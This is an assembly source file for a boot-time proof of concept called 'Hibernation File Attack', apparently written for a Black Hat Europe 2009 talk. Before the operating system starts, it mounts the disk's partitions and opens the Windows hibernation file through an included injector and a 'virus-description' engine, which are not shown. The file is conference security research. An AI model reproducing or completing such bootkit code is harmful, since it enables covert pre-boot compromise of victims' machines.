; ******************************************************

;       Name: Hibernation File Attack
;       Author: Peter Kleissner
;       Version: 1.0
;       Date: 07.12.2008 18:31
;       last Update: 07.12.2008 18:31
;       Type: Boot Application

;       Forensic Lockdown Software
;       (C) 2008 Vienna Computer Products

;       Hibernation File Attack for Black Hat Europe 2009.

; ******************************************************

[bits 16]                                       ; create a 16 Bit Code
CPU 386                                         ; Assemble instructions up to the 386 instruction set

%include "Module Functions.asm"
%include "Kernel Storage.asm"

%define _Debug

org Boot_Application



; params given by the Bootloader

;   edx = boot drive
;     [7C00h+ ] = boot checksum

;   (CS, DS, ES, SS = 0)
;   ESP = 7C00h



; Function Splitter

jmp word Application_Execute
;jmp word Display_Forensic_Lockdown_Status


Application_Execute:


; hide Cursor
mov ah,01h
mov ch,00100000b
mov cl,0

int 10h

; enable background colors, disable auto-blink
mov ax,1003h
mov bh,0000h

int 10h

; clear the Textmode Screen
call API_Clear_Textmode_Screen



%ifdef _Debug

; display debug message "Mount Boot Partitions"
mov eax,Debug_Message_Mount_Partitions
call API_Debug_Message

%endif


; mount all drives [partitions] of the boot drive
call API_Mount_Boot_Partitions





; everything here is now proof-of-concept, part of the Hibernation File Attack at Black Hat Europe 2009


; special Hibernation File Attack disable functionality

%ifdef _Debug

; display abort-possible message
mov eax,Debug_Message_Abort_Application
call API_Debug_Message

; flush keyboard buffer
mov ah,04h
int 16h

mov eax,Debug_Message_Point
call API_Debug_Message_Append

; wait a second and check for abort
push dword 1
call API_System_Wait
add sp,4

mov eax,Debug_Message_Point
call API_Debug_Message_Append

mov ah,01h
int 16h
jnz Valid_Break_Key

; wait a second and check for abort
push dword 1
call API_System_Wait
add sp,4

mov eax,Debug_Message_EndPoint
call API_Debug_Message_Append

mov ah,01h
int 16h
jnz Valid_Break_Key

; wait a second and check for abort
push dword 1
call API_System_Wait
add sp,4

mov ah,01h
int 16h
jnz Valid_Break_Key

%endif



; Open Hibernation Files

%ifdef _Debug

; clear the Textmode Screen
call API_Clear_Textmode_Screen

; display debug message "Open Hibernation Files"
mov eax,Debug_Message_Open_File
call API_Debug_Message

%endif


; API Open_File_Callback, File, Callback
push dword Hibernation_File_Callback                ; Callback Pointer (exported by Injector)
push dword File_Hibernation                         ; Hibernation File Name     FAT|NTFS
call API_Open_File_Callback
jc Hibernation_File_Attack_Error_Handler
add sp,2*4


%ifdef _Debug

; display debug message
mov eax,Debug_Message_Finished
call API_Debug_Message

%endif

Hibernation_File_Attack_Error_Handler:

; instead of throwing useless errors, FLS can be used



; wait until the user switches into the operating menu (using F12)
Get_F12_Key:

; Interrupt 16, Function 0, Get Keystroke
xor ah,ah
int 16h

; check the scan code (AL = ASCII character, AH = Scan Code) if it's F8 or F12 (indicates FLS)
cmp ah,42h
je Valid_Break_Key
cmp ah,58h
jne Get_F12_Key

Valid_Break_Key:




; give the control to the Forensic Lockdown Software [feature, may be totally removed for Black Hat Europe 2009]
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax

hlt
;jmp 0000h:API_Show_Forensic_Lockdown_Status



; include the hibernation file injector
%include "Injector.asm"

; include the virus-description language engine
%include "BHE2009e.asm"




File_Hibernation        db  "?:/hiberfil.sys", 0

%ifdef _Debug

Debug_Message_Point             db  ".", 0
Debug_Message_EndPoint          db  ".", 13, 0
Debug_Message_Mount_Partitions  db  "Mount Boot Partitions...", 10, 0
Debug_Message_Open_File         db  "Open Hibernation Files...", 0
Debug_Message_Abort_Application db  10, "Press any key to abort Hibernation File Attack", 0
Debug_Message_Finished          db  10, "Finished. Press F8 for Forensic Lockdown Software!", 0

%endif
